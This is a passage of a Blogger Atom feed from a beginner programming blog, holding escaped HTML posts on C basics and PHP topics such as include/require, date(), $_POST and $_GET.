0, 85);"&gt;&lt;b&gt;do                if            static          while&lt;/b&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1570221405303130662?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1570221405303130662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1570221405303130662'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/c-language-keywords.html' title='C Language Keywords'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3216982831826313788</id><published>2011-09-27T00:33:00.000-07:00</published><updated>2011-09-27T00:41:19.017-07:00</updated><title type='text'>First program in C</title><content type='html'>1. The C program is a set of functions.&lt;br /&gt; 2. The program execution begins by executing the function main ().&lt;br /&gt;&lt;br /&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"Hi \n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT &lt;/span&gt;&lt;br /&gt;&lt;table width="800" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table bgcolor="#ffffff" border="0" cellpadding="3" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left"&gt;&lt;div style="font-weight: bold;" class="codeShade"&gt;&lt;code&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;pre class="codeResult"&gt;Hi&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;table border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3216982831826313788?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3216982831826313788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3216982831826313788'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/php-file-handling.html' title='First program in C'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5657682226804133224</id><published>2011-04-15T23:06:00.000-07:00</published><updated>2011-09-27T00:34:04.326-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='first'/><title type='text'>Information Technology Solutions</title><content type='html'>&lt;a href="http://www.nogoronline.com/apanel/admin/uploads/website-welcome.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 210px; height: 210px;" src="http://www.nogoronline.com/apanel/admin/uploads/website-welcome.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Welcome  to the site!  Take a few minutes to read through the information here.  We're certain you'll agree that you've found the right place for all of  your Information Technology (IT) needs.  Our mission is to help you get  results. We're sure that you will be very satisfied with the outstanding  quality of our work. Our professional, skilled team provides a quality  product at a reasonable price, while treating clients with respect. We  are passionate about our work, and excited about the opportunity to help  our clients take their businesses to the next level.&lt;br /&gt;&lt;br /&gt;GEEKNABE  aims to indroduce and provide the advantages of Information Technology  to various entities; from individuals to businesses – small and medium  sized enterprises – with top quality but adjusting to their financial  capabilities.&lt;br /&gt;&lt;br /&gt;GEEKNABE aims to create a lasting relationship with  our clients well beyond just delivering requirements. We offer our  expertise in enhancing their usage of Information Technology to further  their various endeavors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---GEEKNABE---&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5657682226804133224?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5657682226804133224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5657682226804133224'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/information-technology-solutions_3453.html' title='Information Technology Solutions'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4239062689809065047</id><published>2011-04-15T22:40:00.000-07:00</published><updated>2011-04-15T23:04:38.864-07:00</updated><title type='text'>PHP Include File</title><content type='html'>&lt;h2&gt;Server Side Includes (SSI)&lt;/h2&gt; &lt;p&gt;You can insert the content of one PHP file into another PHP file before the  server executes it, with the include() or require() function.&lt;/p&gt; &lt;p&gt;The two functions are  identical in every way, except how they handle errors:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;include()   generates a warning, but the script will continue execution&lt;/li&gt;&lt;li&gt;require()   generates a fatal error, and the script will stop&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;These two functions are used to  create functions, headers, footers, or elements that will be reused on multiple  pages.&lt;/p&gt; &lt;p&gt;Server side includes saves a lot of work. This means that  you can create a standard header, footer, or menu file for all your web  pages. When the header needs to be updated, you can only  update the include file, or when you add a new page to your site, you  can simply change the  menu file (instead of updating the links on all your web pages).&lt;/p&gt;&lt;h2&gt;PHP include() Function&lt;/h2&gt; &lt;p&gt;The include() function takes all the content in a specified file and includes it  in the current file.&lt;/p&gt; &lt;p&gt;If an error occurs, the include()   function generates a warning, but the script will continue execution.&lt;/p&gt;  &lt;h3&gt;Example 1&lt;/h3&gt; &lt;p&gt;Assume that you have a standard header file, called "header.php". To include  the header file in a page, use the include() function:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;a href="http://3.bp.blogspot.com/-U1KpbHitNkE/TaksJ-uIvXI/AAAAAAAAAU0/WJJTIaYoCio/s1600/2.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://3.bp.blogspot.com/-U1KpbHitNkE/TaksJ-uIvXI/AAAAAAAAAU0/WJJTIaYoCio/s400/2.JPG" alt="" id="BLOGGER_PHOTO_ID_5596052561951505778" border="0" /&gt;&lt;/a&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Example 2&lt;/h3&gt; &lt;p&gt;Assume we have a standard menu file, called "menu.php", that should be used on all  pages:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://3.bp.blogspot.com/-fz92_JSZqAU/TaksgMsf9RI/AAAAAAAAAU8/_Qkxl9s5Zn8/s1600/3.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://3.bp.blogspot.com/-fz92_JSZqAU/TaksgMsf9RI/AAAAAAAAAU8/_Qkxl9s5Zn8/s400/3.JPG" alt="" id="BLOGGER_PHOTO_ID_5596052943659857170" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;All pages in the Web site should include this menu file.  Here is how it can be done:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://3.bp.blogspot.com/-Di_0ILUph30/Taks54noqiI/AAAAAAAAAVE/DoM-BUzhGxA/s1600/4.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://3.bp.blogspot.com/-Di_0ILUph30/Taks54noqiI/AAAAAAAAAVE/DoM-BUzhGxA/s400/4.JPG" alt="" id="BLOGGER_PHOTO_ID_5596053384947345954" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you look at the source code of the page above (in a browser), it will look like  this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://4.bp.blogspot.com/-i4e3HUPMb7w/TaktUv4mFqI/AAAAAAAAAVM/-mC_TDc3FZY/s1600/5.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://4.bp.blogspot.com/-i4e3HUPMb7w/TaktUv4mFqI/AAAAAAAAAVM/-mC_TDc3FZY/s400/5.JPG" alt="" id="BLOGGER_PHOTO_ID_5596053846459029154" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;PHP require() Function&lt;/h2&gt; &lt;p&gt;The require() function is identical to include(), except that it handles  errors differently.&lt;/p&gt; &lt;p&gt;If an error occurs, the include()   function generates a warning, but the script will continue execution. The require()   generates a fatal error, and the script will stop.&lt;/p&gt; &lt;h3&gt;Error Example include() Function&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-yIj6RJN2wzA/TaktyIFJbfI/AAAAAAAAAVU/QWOrjW6k3uY/s1600/6.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://1.bp.blogspot.com/-yIj6RJN2wzA/TaktyIFJbfI/AAAAAAAAAVU/QWOrjW6k3uY/s400/6.JPG" alt="" id="BLOGGER_PHOTO_ID_5596054351170334194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Error message:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-size:130%;" &gt;Warning: include(wrongFile.php) [function.include]:&lt;br /&gt;failed to open stream:&lt;br /&gt;No such file or directory in C:\home\website\test.php on line 5&lt;br /&gt;&lt;br /&gt;Warning: include() [function.include]:&lt;br /&gt;Failed opening 'wrongFile.php' for inclusion&lt;br /&gt;(include_path='.;C:\php5\pear')&lt;br /&gt;in C:\home\website\test.php on line 5&lt;br /&gt;&lt;br /&gt;Hello World! &lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;Notice that the echo statement is executed! This is because a Warning  does not stop the script execution.&lt;/p&gt; &lt;h3&gt;Error Example require() Function&lt;/h3&gt; &lt;p&gt;Now, let's run the same example with the require() function.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://4.bp.blogspot.com/-lM3OFhQ6TA4/TakuVvLabjI/AAAAAAAAAVc/ZnETRoClZAk/s1600/1.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://4.bp.blogspot.com/-lM3OFhQ6TA4/TakuVvLabjI/AAAAAAAAAVc/ZnETRoClZAk/s400/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5596054962961018418" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Error message:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;Warning: require(wrongFile.php) [function.require]:&lt;br /&gt;failed to open stream:&lt;br /&gt;No such file or directory in C:\home\website\test.php on line 5&lt;br /&gt;&lt;br /&gt;Fatal error: require() [function.require]: &lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;Failed opening required 'wrongFile.php'&lt;br /&gt;(include_path='.;C:\php5\pear')&lt;br /&gt;in C:\home\website\test.php on line 5 &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The echo statement is not executed, because the script execution stopped  after the fatal error.&lt;/p&gt; &lt;p&gt;It is recommended to use the require() function instead of include(), because  scripts should not continue after an error.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;span style="color: rgb(102, 102, 102);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(102, 102, 102);font-size:130%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4239062689809065047?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4239062689809065047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4239062689809065047'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-include-file.html' title='PHP Include File'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-U1KpbHitNkE/TaksJ-uIvXI/AAAAAAAAAU0/WJJTIaYoCio/s72-c/2.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7133899088667427427</id><published>2011-04-15T22:28:00.000-07:00</published><updated>2011-04-15T22:39:15.203-07:00</updated><title type='text'>PHP Date() Function</title><content type='html'>The PHP date() function is used to format a time and/or date.&lt;br /&gt;&lt;h2&gt;The PHP Date() Function&lt;/h2&gt; &lt;p&gt;The PHP date() function formats a timestamp to a more readable date and time.&lt;/p&gt;  &lt;p&gt;&lt;img src="http://w3schools.com/images/lamp.gif" alt="Tip" /&gt; A timestamp is a sequence of  characters, denoting the date and/or time at which a certain event occurred. &lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;date(&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;format&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;,&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;timestamp&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;) &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;table class="reference" width="100%" border="1" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th style="color: rgb(0, 51, 0);" valign="top" width="20%" align="left"&gt;Parameter&lt;/th&gt;     &lt;th style="color: rgb(0, 51, 0);" valign="top" width="80%" align="left"&gt;Description&lt;/th&gt;   &lt;/tr&gt;     &lt;tr&gt;     &lt;td valign="top"&gt;format&lt;/td&gt;     &lt;td valign="top"&gt;Required. Specifies   the format of the timestamp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign="top"&gt;timestamp&lt;/td&gt;     &lt;td valign="top"&gt;Optional. Specifies a timestamp. Default is the current   date and time&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;h2&gt;PHP Date() - Format the Date&lt;/h2&gt; &lt;p&gt;The required &lt;i&gt;format&lt;/i&gt; parameter in the date() function specifies how to format the  date/time.&lt;/p&gt; &lt;p&gt;Here are some characters that can be used:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;d - Represents the day of the month (01 to 31) &lt;/li&gt;&lt;li&gt;m - Represents a month (01 to 12)&lt;/li&gt;&lt;li&gt;Y - Represents a year (in four digits)&lt;/li&gt;&lt;/ul&gt;Other characters, like"/", ".", or "-" can also be inserted between the  letters to add additional formatting:&lt;br /&gt;&lt;hr /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://3.bp.blogspot.com/-HGP87rJ2qAw/Takp95544jI/AAAAAAAAAUk/F9jWEzQGpfM/s400/18.JPG" alt="" id="BLOGGER_PHOTO_ID_5596050155476935218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;The output of the code above could be something like this:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;2009/05/11&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; 2009.05.11&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; 2009-05-11 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;PHP Date() - Adding a Timestamp&lt;/h2&gt; &lt;p&gt;The optional &lt;i&gt;timestamp&lt;/i&gt; parameter in the date() function specifies a timestamp. If you do not  specify a timestamp, the  current date and time will be used.&lt;/p&gt; &lt;p&gt;The mktime() function returns the Unix timestamp for a date.&lt;/p&gt; &lt;p&gt;The Unix timestamp contains the number of seconds between the Unix Epoch  (January 1 1970 00:00:00 GMT) and the time specified.&lt;/p&gt; &lt;h3&gt;Syntax for mktime()&lt;/h3&gt;&lt;br /&gt;&lt;hr /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;br /&gt;mktime(hour,minute,second,month,day,year,is_dst) &lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;to go one day in the future we simply add one to the day argument of mktime():&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://1.bp.blogspot.com/-3EYfgWvxcPI/Takq_F5BdII/AAAAAAAAAUs/SKAvbFIPfgU/s400/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5596051275386025090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt; &lt;p&gt;The output of the code above could be something like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;Tomorrow is 2009/05/12 &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7133899088667427427?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7133899088667427427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7133899088667427427'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-date-function.html' title='PHP Date() Function'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-HGP87rJ2qAw/Takp95544jI/AAAAAAAAAUk/F9jWEzQGpfM/s72-c/18.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7896113448990148127</id><published>2011-04-15T22:21:00.000-07:00</published><updated>2011-04-15T22:27:42.600-07:00</updated><title type='text'>PHP $_POST Function</title><content type='html'>The built-in $_POST function is used to collect values in a form with  method="post".&lt;br /&gt;&lt;h2&gt;The $_POST Function&lt;/h2&gt; &lt;p&gt;The built-in $_POST function is used to collect values from a form sent with  method="post".&lt;/p&gt; &lt;p&gt;Information sent from a form with the POST method is invisible to others and  has no limits on the amount of information to send.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; However, there is an 8 Mb max size for the POST method, by default  (can be changed by setting the post_max_size in the php.ini file).&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt;&lt;hr /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://4.bp.blogspot.com/-JYNmdsfHFPA/TakntTKTjEI/AAAAAAAAAUM/Qw4rKhiQ2E4/s400/15.JPG" alt="" id="BLOGGER_PHOTO_ID_5596047671175646274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;When the user clicks the "Submit" button, the URL will look  like this:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;http://www.w3schools.com/welcome.php &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;The "welcome.php" file can now use the $_POST function to collect form data  (the names of the form fields will automatically be the keys in the $_POST  array):&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://4.bp.blogspot.com/-mA6oCHLR_fc/TakoKPesXFI/AAAAAAAAAUU/yv5TrYAE-VU/s400/16.JPG" alt="" id="BLOGGER_PHOTO_ID_5596048168403622994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;When to use method="post"?&lt;/h2&gt; &lt;p&gt;Information sent from a form with the POST method is invisible to others and  has no limits on the amount of information to send.&lt;/p&gt; &lt;p&gt;However, because the variables are not displayed in the URL, it is not  possible to bookmark the page.&lt;/p&gt; &lt;hr /&gt;  &lt;h2&gt;The PHP $_REQUEST Function&lt;/h2&gt; &lt;p&gt;The PHP built-in $_REQUEST function contains the contents of both $_GET, $_POST, and $_COOKIE.&lt;/p&gt; &lt;p&gt;The $_REQUEST function can be used to collect form data sent  with both the GET and POST methods.&lt;/p&gt;  &lt;h3&gt;Example&lt;/h3&gt;&lt;br /&gt;&lt;hr /&gt;&lt;a href="http://2.bp.blogspot.com/-USZvkBQwI9M/TakofWy9_AI/AAAAAAAAAUc/mddl7rE7-Wg/s1600/17.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://2.bp.blogspot.com/-USZvkBQwI9M/TakofWy9_AI/AAAAAAAAAUc/mddl7rE7-Wg/s400/17.JPG" alt="" id="BLOGGER_PHOTO_ID_5596048531144965122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7896113448990148127?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7896113448990148127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7896113448990148127'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-post-function.html' title='PHP $_POST Function'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-JYNmdsfHFPA/TakntTKTjEI/AAAAAAAAAUM/Qw4rKhiQ2E4/s72-c/15.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5968813463259688888</id><published>2011-04-15T22:05:00.000-07:00</published><updated>2011-04-15T22:19:26.943-07:00</updated><title type='text'>PHP $_GET Function</title><content type='html'>The built-in $_GET function is used to collect values in a form with  method="get".&lt;br /&gt;&lt;h2&gt;The $_GET Function&lt;/h2&gt; &lt;p&gt;The built-in $_GET function is used to collect values from a form sent with  method="get".&lt;/p&gt; &lt;p&gt;Information sent from a form with the GET method is visible to everyone (it  will be displayed in the browser's address bar) and has limits on the amount of  information to send.&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://2.bp.blogspot.com/-oS4eqNQQblc/TakkFYyZ61I/AAAAAAAAAT0/b9UfzUhe938/s400/13.JPG" alt="" id="BLOGGER_PHOTO_ID_5596043686956362578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;When the user clicks the "Submit" button, the URL sent to the  server could look something  like this:&lt;br /&gt;&lt;hr /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;http://www.geeknabe.com/welcome.php?fname=Peter&amp;amp;age=37&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;The "welcome.php" file can now use the $_GET function to collect form data  (the names of the form fields will automatically be the keys in the $_GET  array):&lt;br /&gt;&lt;hr /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://2.bp.blogspot.com/-aL3jTBrtG0k/TakmmQgdbrI/AAAAAAAAAUE/PsgHI5bztN0/s400/14.JPG" alt="" id="BLOGGER_PHOTO_ID_5596046450692550322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;When to use method="get"?&lt;/h2&gt; &lt;p&gt;When using method="get" in HTML forms, all variable names and values are displayed in the URL.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; This method should not be used when sending passwords or other sensitive information!&lt;/p&gt; &lt;p&gt;However, because the variables are displayed in the URL, it is possible to  bookmark the page. This can be useful in some cases.&lt;/p&gt; &lt;b&gt;Note:&lt;/b&gt; The get method is not suitable for very large variable values.  It should not be used with values exceeding 2000 characters.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5968813463259688888?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5968813463259688888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5968813463259688888'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-get-function.html' title='PHP $_GET Function'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-oS4eqNQQblc/TakkFYyZ61I/AAAAAAAAAT0/b9UfzUhe938/s72-c/13.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2426652283891495605</id><published>2011-04-15T21:28:00.000-07:00</published><updated>2011-04-15T21:38:04.518-07:00</updated><title type='text'>PHP Forms and User Input</title><content type='html'>The PHP $_GET and $_POST variables are used to retrieve information from forms, like user 